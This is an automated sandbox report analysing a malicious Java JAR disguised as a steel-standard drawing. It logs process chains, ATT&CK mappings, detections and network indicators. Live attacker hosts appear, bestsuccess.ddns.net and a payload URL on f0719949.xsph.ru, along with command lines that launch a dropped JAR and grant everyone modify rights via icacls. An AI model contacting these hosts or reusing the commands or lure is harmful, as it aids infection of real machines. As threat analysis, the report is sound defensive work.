Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: javaw.exe, 00000005.00000002.499323910.00000000012E8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll8
Source: javaw.exe, 00000006.00000003.268898465.00000000156F1000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: com/sun/corba/se/impl/util/SUNVMCID.classPK
Source: javaw.exe, 00000006.00000003.268898465.00000000156F1000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: &com/sun/corba/se/impl/util/SUNVMCID.classPK
Source: java.exe, 00000002.00000002.249211578.0000000002DD0000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.500222864.0000000002C80000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.500375866.0000000003000000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: ,java/lang/VirtualMachineError
Source: java.exe, 00000002.00000002.249211578.0000000002DD0000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.500222864.0000000002C80000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.500375866.0000000003000000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: |[Ljava/lang/VirtualMachineError;
Source: javaw.exe, 00000005.00000003.249129087.0000000015469000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: org/omg/CORBA/OMGVMCID.classPK
Source: java.exe, 00000002.00000003.238327808.00000000154C9000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000003.249129087.0000000015469000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: java/lang/VirtualMachineError.classPK
Source: java.exe, 00000002.00000002.248938581.000000000125B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exeCode function: 2_2_03014130 LdrInitializeThunk,2_2_03014130
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exeMemory protected: page read and write | page guardJump to behavior
Source: unknownProcess created: C:\Windows\SysWOW64\cmd.exe c:\windows\system32\cmd.exe /c ""c:\program files (x86)\java\jre1.8.0_211\bin\java.exe" -javaagent:"c:\users\user\appdata\local\temp\jartracer.jar" -jar "c:\users\user\desktop\dwg material, standard bs 4360 gr. 40a43a.jar"" >> c:\cmdlinestart.log 2>&1
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe "C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe" -javaagent:"C:\Users\user\AppData\Local\Temp\jartracer.jar" -jar "C:\Users\user\Desktop\DWG Material, Standard BS 4360 GR. 40A43A.jar" Jump to behavior
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exeProcess created: C:\Windows\SysWOW64\icacls.exe C:\Windows\system32\icacls.exe C:\ProgramData\Oracle\Java\.oracle_jre_usage /grant "everyone":(OI)(CI)MJump to behavior
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exeProcess created: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw" -jar "C:\Users\user\AppData\Local\Temp\dropbox3326252284114201190.jarJump to behavior
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exeCode function: 2_2_02ED0380 cpuid 2_2_02ED0380
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

Mitre Att&ck Matrix

Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
Valid Accounts12
Command and Scripting Interpreter		1
Registry Run Keys / Startup Folder		11
Process Injection		1
Masquerading		OS Credential Dumping1
Security Software Discovery		Remote Services1
Archive Collected Data		Exfiltration Over Other Network Medium1
Encrypted Channel		Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
Default Accounts1
Exploitation for Client Execution		1
Services File Permissions Weakness		1
Registry Run Keys / Startup Folder		1
Disable or Modify Tools		LSASS Memory1
Remote System Discovery		Remote Desktop ProtocolData from Removable MediaExfiltration Over Bluetooth1
Non-Standard Port		Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
Domain AccountsAt (Linux)Logon Script (Windows)1
Services File Permissions Weakness		11
Process Injection		Security Account Manager12
System Information Discovery		SMB/Windows Admin SharesData from Network Shared DriveAutomated Exfiltration3
Ingress Tool Transfer		Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)1
Obfuscated Files or Information		NTDSSystem Network Configuration DiscoveryDistributed Component Object ModelInput CaptureScheduled Transfer3
Non-Application Layer Protocol		SIM Card SwapCarrier Billing Fraud
Cloud AccountsCronNetwork Logon ScriptNetwork Logon Script1
Services File Permissions Weakness		LSA SecretsRemote System DiscoverySSHKeyloggingData Transfer Size Limits13
Application Layer Protocol		Manipulate Device CommunicationManipulate App Store Rankings or Ratings

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 705884 Sample: DWG Material, Standard  BS ... Startdate: 20/09/2022 Architecture: WINDOWS Score: 72 41 Snort IDS alert for network traffic 2->41 43 Multi AV Scanner detection for domain / URL 2->43 45 Multi AV Scanner detection for submitted file 2->45 47 2 other signatures 2->47 8 cmd.exe 2 2->8         started        10 javaw.exe 11 2->10         started        13 javaw.exe 11 2->13         started        process3 dnsIp4 15 java.exe 1 23 8->15         started        18 conhost.exe 8->18         started        31 bestsuccess.ddns.net 10->31 33 f0719949.xsph.ru 10->33 35 bestsuccess.ddns.net 13->35 37 f0719949.xsph.ru 13->37 process5 dnsIp6 39 192.168.2.1 unknown unknown 15->39 20 javaw.exe 11 15->20         started        23 icacls.exe 1 15->23         started        process7 dnsIp8 27 bestsuccess.ddns.net 194.5.98.141, 49710, 49714, 49716 DANILENKODE Netherlands 20->27 29 f0719949.xsph.ru 141.8.192.151, 49711, 49715, 49717 SPRINTHOSTRU Russian Federation 20->29 25 conhost.exe 23->25         started        process9

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


windows-stand

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

SourceDetectionScannerLabelLink
DWG Material, Standard BS 4360 GR. 40A43A.jar35%ReversingLabsByteCode-JAVA.Trojan.Generic
DWG Material, Standard BS 4360 GR. 40A43A.jar25%VirustotalBrowse

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

SourceDetectionScannerLabelLink
bestsuccess.ddns.net14%VirustotalBrowse

URLs

SourceDetectionScannerLabelLink
http://crl.chambersign.org/chambersroot.crl00%URL Reputationsafe
http://trustcenter-crl.certificat2.com/Keynectis/KEYNECTIS_ROOT_CA.crl00%URL Reputationsafe
http://cps.chambersign.org/cps/chambersroot.html00%URL Reputationsafe
http://www.chambersign.org10%URL Reputationsafe
https://ocsp.quovadisoffshore.com0%URL Reputationsafe
http://crl.securetrust.com/STCA.crl00%URL Reputationsafe
http://www.certplus.com/CRL/class3P.crl00%URL Reputationsafe
http://www.certplus.com/CRL/class2.crl00%URL Reputationsafe
http://trustcenter-crl.certificat2.com/Keynectis/KEYNECTIS_ROOT_CA.crl0%URL Reputationsafe
https://ocsp.quovadisoffshore.com00%URL Reputationsafe
http://www.chambersign.org0%URL Reputationsafe
http://policy.camerfirma.com00%URL Reputationsafe
http://crl.xrampsecurity.com/XGCA.crl0%URL Reputationsafe
http://www.certplus.com/CRL/class2.crl0%URL Reputationsafe
http://bugreport.sun.com/bugreport/0%URL Reputationsafe
http://cps.chambersign.org/cps/chambersroot.html0%URL Reputationsafe
http://www.certplus.com/CRL/class3P.crl0%URL Reputationsafe
http://crl.securetrust.com/STCA.crl0%URL Reputationsafe
http://crl.xrampsecurity.com/XGCA.crl00%URL Reputationsafe
http://www.quovadis.bm0%URL Reputationsafe
http://www.quovadis.bm00%URL Reputationsafe
http://crl.chambersign.org/chambersroot.crl0%URL Reputationsafe
http://www.quovadis.bm;t0%Avira URL Cloudsafe
https://index.from.sh/pages/game.html0%Avira URL Cloudsafe
https://ocsp.quovadisoffshore.comS0%Avira URL Cloudsafe
http://www.quovadis.bmS0%Avira URL Cloudsafe
http://policy.camerfirma.comKn0%Avira URL Cloudsafe
http://www.quovadis.bmK0%Avira URL Cloudsafe
http://crl.xrampsecurity.com/XGCA.crlk0%Avira URL Cloudsafe
https://index.from.sh/pages/game.html0%VirustotalBrowse
http://cps.chambersign.org/cps/chambersroot.htmlS0%Avira URL Cloudsafe
http://policy.camerfirma.comC0%Avira URL Cloudsafe
http://www.certplus.com/CRL/class2.crlC0%Avira URL Cloudsafe
http://crl.xrampsecurity.com/XGCA.crl30%Avira URL Cloudsafe
http://trustcenter-crl.certificat2.com/Keynectis/KEYNECTIS_ROOT_CA.crl3F0%Avira URL Cloudsafe
http://crl.chambersign.org/chambersroot.crlk0%Avira URL Cloudsafe
http://crl.securetrust.com/STCA.crlKg0%Avira URL Cloudsafe
http://crl.securetrust.com/STCA.crls0%Avira URL Cloudsafe
http://www.quovadis.bm#0%Avira URL Cloudsafe
http://crl.chambersign.org/chambersroot.crlCz0%Avira URL Cloudsafe

Domains and IPs

Contacted Domains

NameIPActiveMaliciousAntivirus DetectionReputation
bestsuccess.ddns.net
194.5.98.141
truetrueunknown
f0719949.xsph.ru
141.8.192.151
truefalse
    		high

    Contacted URLs

    NameMaliciousAntivirus DetectionReputation
    http://f0719949.xsph.ru/dropbox.exefalse
      		high

      URLs from Memory and Binaries

      NameSourceMaliciousAntivirus DetectionReputation
      http://repository.swisssign.com/KIjavaw.exe, 00000005.00000002.504710006.00000000051D0000.00000004.00000800.00020000.00000000.sdmpfalse
        		high
        http://policy.camerfirma.comKnjava.exe, 00000002.00000002.254206919.00000000054CD000.00000004.00000800.00020000.00000000.sdmpfalse
        • Avira URL Cloud: safe
        		unknown
        https://index.from.sh/pages/game.htmljavaw.exe, javaw.exe, 00000005.00000002.504154401.000000000511A000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000003.261432500.0000000015F55000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000003.261227949.0000000015EFC000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000003.261385274.0000000015F1C000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000003.286039314.00000000162BC000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000003.286248087.00000000162D3000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.503835187.0000000005320000.00000004.00000800.00020000.00000000.sdmpfalse
        • 0%, Virustotal, Browse
        • Avira URL Cloud: safe
        		unknown
        http://crl.chambersign.org/chambersroot.crl0java.exe, 00000002.00000002.255492377.000000000A819000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.255625798.000000000A8C0000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.253997459.000000000544C000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.254206919.00000000054CD000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.511908350.000000000AB27000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.504710006.00000000051D0000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.504468288.00000000053D7000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.511628893.000000000AD27000.00000004.00000800.00020000.00000000.sdmpfalse
        • URL Reputation: safe
        		unknown
        http://trustcenter-crl.certificat2.com/Keynectis/KEYNECTIS_ROOT_CA.crl0java.exe, 00000002.00000002.255651463.000000000A8E2000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.255625798.000000000A8C0000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.253997459.000000000544C000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.254035355.0000000005471000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.511908350.000000000AB27000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.504710006.00000000051D0000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.504468288.00000000053D7000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.511628893.000000000AD27000.00000004.00000800.00020000.00000000.sdmpfalse
        • URL Reputation: safe
        		unknown
        http://repository.swisssign.com/Cjava.exe, 00000002.00000002.254206919.00000000054CD000.00000004.00000800.00020000.00000000.sdmpfalse
          		high
          http://repository.swisssign.com/Hjavaw.exe, 00000005.00000002.504710006.00000000051D0000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.504468288.00000000053D7000.00000004.00000800.00020000.00000000.sdmpfalse
            		high
            http://cps.chambersign.org/cps/chambersroot.html0java.exe, 00000002.00000002.255492377.000000000A819000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.255625798.000000000A8C0000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.253997459.000000000544C000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.254206919.00000000054CD000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.511908350.000000000AB27000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.504710006.00000000051D0000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.504468288.00000000053D7000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.511628893.000000000AD27000.00000004.00000800.00020000.00000000.sdmpfalse
            • URL Reputation: safe
            		unknown
            http://f0719949.xsph.rujavaw.exe, 00000005.00000002.503812854.00000000050D8000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.503599561.00000000052F9000.00000004.00000800.00020000.00000000.sdmpfalse
              		high
              http://www.chambersign.org1java.exe, 00000002.00000002.255492377.000000000A819000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.255625798.000000000A8C0000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.253997459.000000000544C000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.254206919.00000000054CD000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.511908350.000000000AB27000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.504710006.00000000051D0000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.504468288.00000000053D7000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.511628893.000000000AD27000.00000004.00000800.00020000.00000000.sdmpfalse
              • URL Reputation: safe
              		unknown
              http://www.quovadis.bmSjava.exe, 00000002.00000002.254035355.0000000005471000.00000004.00000800.00020000.00000000.sdmpfalse
              • Avira URL Cloud: safe
              		unknown
              https://ocsp.quovadisoffshore.comSjavaw.exe, 00000005.00000002.504710006.00000000051D0000.00000004.00000800.00020000.00000000.sdmpfalse
              • Avira URL Cloud: safe
              		unknown
              http://repository.swisssign.com/0java.exe, 00000002.00000002.255492377.000000000A819000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.255651463.000000000A8E2000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.255625798.000000000A8C0000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.253997459.000000000544C000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.254206919.00000000054CD000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.254035355.0000000005471000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.506666785.0000000005374000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.511908350.000000000AB27000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.504710006.00000000051D0000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.504468288.00000000053D7000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.503599561.00000000052F9000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.511628893.000000000AD27000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.502584650.0000000005215000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.506404003.0000000005574000.00000004.00000800.00020000.00000000.sdmpfalse
                		high
                http://repository.swisssign.com/PAjavaw.exe, 00000005.00000002.504710006.00000000051D0000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.504468288.00000000053D7000.00000004.00000800.00020000.00000000.sdmpfalse
                  		high
                  http://www.quovadis.bm;tjava.exe, 00000002.00000002.254035355.0000000005471000.00000004.00000800.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		low
                  http://policy.camerfirma.comjava.exe, 00000002.00000002.254206919.00000000054CD000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.511908350.000000000AB27000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.511628893.000000000AD27000.00000004.00000800.00020000.00000000.sdmpfalse
                    		high
                    http://repository.swisssign.com/3javaw.exe, 00000006.00000002.502584650.0000000005215000.00000004.00000800.00020000.00000000.sdmpfalse
                      		high
                      http://www.quovadis.bmKjavaw.exe, 00000006.00000002.504468288.00000000053D7000.00000004.00000800.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: safe
                      		unknown
                      https://ocsp.quovadisoffshore.comjavaw.exe, 00000006.00000002.504468288.00000000053D7000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.511628893.000000000AD27000.00000004.00000800.00020000.00000000.sdmpfalse
                      • URL Reputation: safe
                      		unknown
                      http://crl.securetrust.com/STCA.crl0java.exe, 00000002.00000002.255492377.000000000A819000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.255625798.000000000A8C0000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.253997459.000000000544C000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.254206919.00000000054CD000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.506666785.0000000005374000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.511908350.000000000AB27000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.504710006.00000000051D0000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.504468288.00000000053D7000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.511628893.000000000AD27000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.506404003.0000000005574000.00000004.00000800.00020000.00000000.sdmpfalse
                      • URL Reputation: safe
                      		unknown
                      http://www.certplus.com/CRL/class3P.crl0java.exe, 00000002.00000002.255492377.000000000A819000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.255625798.000000000A8C0000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.253997459.000000000544C000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.254206919.00000000054CD000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.511908350.000000000AB27000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.504710006.00000000051D0000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.504468288.00000000053D7000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.511628893.000000000AD27000.00000004.00000800.00020000.00000000.sdmpfalse
                      • URL Reputation: safe
                      		unknown
                      http://www.certplus.com/CRL/class2.crl0java.exe, 00000002.00000002.255651463.000000000A8E2000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.255625798.000000000A8C0000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.253997459.000000000544C000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.254035355.0000000005471000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.511908350.000000000AB27000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.504710006.00000000051D0000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.504468288.00000000053D7000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.511628893.000000000AD27000.00000004.00000800.00020000.00000000.sdmpfalse
                      • URL Reputation: safe
                      		unknown
                      http://www.quovadisglobal.com/cps0java.exe, 00000002.00000002.255651463.000000000A8E2000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.255625798.000000000A8C0000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.253997459.000000000544C000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.254035355.0000000005471000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.511908350.000000000AB27000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.504710006.00000000051D0000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.504468288.00000000053D7000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.511628893.000000000AD27000.00000004.00000800.00020000.00000000.sdmpfalse
                        		high
                        http://crl.xrampsecurity.com/XGCA.crlkjava.exe, 00000002.00000002.254206919.00000000054CD000.00000004.00000800.00020000.00000000.sdmpfalse
                        • Avira URL Cloud: safe
                        		unknown
                        http://policy.camerfirma.comCjava.exe, 00000002.00000002.254206919.00000000054CD000.00000004.00000800.00020000.00000000.sdmpfalse
                        • Avira URL Cloud: safe
                        		unknown
                        http://trustcenter-crl.certificat2.com/Keynectis/KEYNECTIS_ROOT_CA.crljavaw.exe, 00000006.00000002.504468288.00000000053D7000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.511628893.000000000AD27000.00000004.00000800.00020000.00000000.sdmpfalse
                        • URL Reputation: safe
                        		unknown
                        http://cps.chambersign.org/cps/chambersroot.htmlSjava.exe, 00000002.00000002.254206919.00000000054CD000.00000004.00000800.00020000.00000000.sdmpfalse
                        • Avira URL Cloud: safe
                        		unknown
                        http://www.quovadis.bmsjavaw.exe, 00000005.00000002.504710006.00000000051D0000.00000004.00000800.00020000.00000000.sdmpfalse
                          		unknown
                          http://www.certplus.com/CRL/class2.crlCjavaw.exe, 00000006.00000002.504468288.00000000053D7000.00000004.00000800.00020000.00000000.sdmpfalse
                          • Avira URL Cloud: safe
                          		unknown
                          http://repository.swisssign.com/3djava.exe, 00000002.00000002.254206919.00000000054CD000.00000004.00000800.00020000.00000000.sdmpfalse
                            		high
                            https://ocsp.quovadisoffshore.com0java.exe, 00000002.00000002.255651463.000000000A8E2000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.255625798.000000000A8C0000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.253997459.000000000544C000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.254035355.0000000005471000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.511908350.000000000AB27000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.504710006.00000000051D0000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.504468288.00000000053D7000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.511628893.000000000AD27000.00000004.00000800.00020000.00000000.sdmpfalse
                            • URL Reputation: safe
                            		unknown
                            http://repository.swisssign.com/javaw.exe, 00000006.00000002.504468288.00000000053D7000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.511628893.000000000AD27000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.502584650.0000000005215000.00000004.00000800.00020000.00000000.sdmpfalse
                              		high
                              http://www.chambersign.orgjava.exe, 00000002.00000002.255492377.000000000A819000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.254206919.00000000054CD000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.511908350.000000000AB27000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.511628893.000000000AD27000.00000004.00000800.00020000.00000000.sdmpfalse
                              • URL Reputation: safe
                              		unknown
                              http://policy.camerfirma.com0java.exe, 00000002.00000002.255492377.000000000A819000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.255625798.000000000A8C0000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.253997459.000000000544C000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.254206919.00000000054CD000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.506666785.0000000005374000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.511908350.000000000AB27000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.504710006.00000000051D0000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.504468288.00000000053D7000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.511628893.000000000AD27000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.506404003.0000000005574000.00000004.00000800.00020000.00000000.sdmpfalse
                              • URL Reputation: safe
                              		unknown
                              http://crl.xrampsecurity.com/XGCA.crljava.exe, 00000002.00000002.255492377.000000000A819000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.254206919.00000000054CD000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.511908350.000000000AB27000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.511628893.000000000AD27000.00000004.00000800.00020000.00000000.sdmpfalse
                              • URL Reputation: safe
                              		unknown
                              http://crl.chambersign.org/chambersroot.crlkjava.exe, 00000002.00000002.254206919.00000000054CD000.00000004.00000800.00020000.00000000.sdmpfalse
                              • Avira URL Cloud: safe
                              		unknown
                              http://www.certplus.com/CRL/class2.crljavaw.exe, 00000006.00000002.504468288.00000000053D7000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.511628893.000000000AD27000.00000004.00000800.00020000.00000000.sdmpfalse
                              • URL Reputation: safe
                              		unknown
                              http://bugreport.sun.com/bugreport/javaw.exe, 00000006.00000002.503599561.00000000052F9000.00000004.00000800.00020000.00000000.sdmpfalse
                              • URL Reputation: safe
                              		unknown
                              http://crl.xrampsecurity.com/XGCA.crl3java.exe, 00000002.00000002.254206919.00000000054CD000.00000004.00000800.00020000.00000000.sdmpfalse
                              • Avira URL Cloud: safe
                              		unknown
                              http://java.oracle.com/java.exe, 00000002.00000002.254571440.000000000A5D5000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.250207717.00000000050D8000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.509456620.000000000A98A000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.503812854.00000000050D8000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.503599561.00000000052F9000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.509201113.000000000AB8A000.00000004.00000800.00020000.00000000.sdmpfalse
                                		high
                                http://null.oracle.com/java.exe, 00000002.00000002.257471735.0000000015595000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.255255992.000000000A777000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.258832159.0000000015C3F000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.523395165.0000000015642000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000003.261828063.00000000155F2000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.512799719.000000000ABB7000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.506666785.0000000005374000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000003.262003659.000000001562B000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.523036319.000000001595A000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000003.286075570.0000000015953000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.512492038.000000000ADB7000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000003.285794524.000000001590A000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.506404003.0000000005574000.00000004.00000800.00020000.00000000.sdmpfalse
                                  		high
                                  http://trustcenter-crl.certificat2.com/Keynectis/KEYNECTIS_ROOT_CA.crl3Fjavaw.exe, 00000006.00000002.504468288.00000000053D7000.00000004.00000800.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
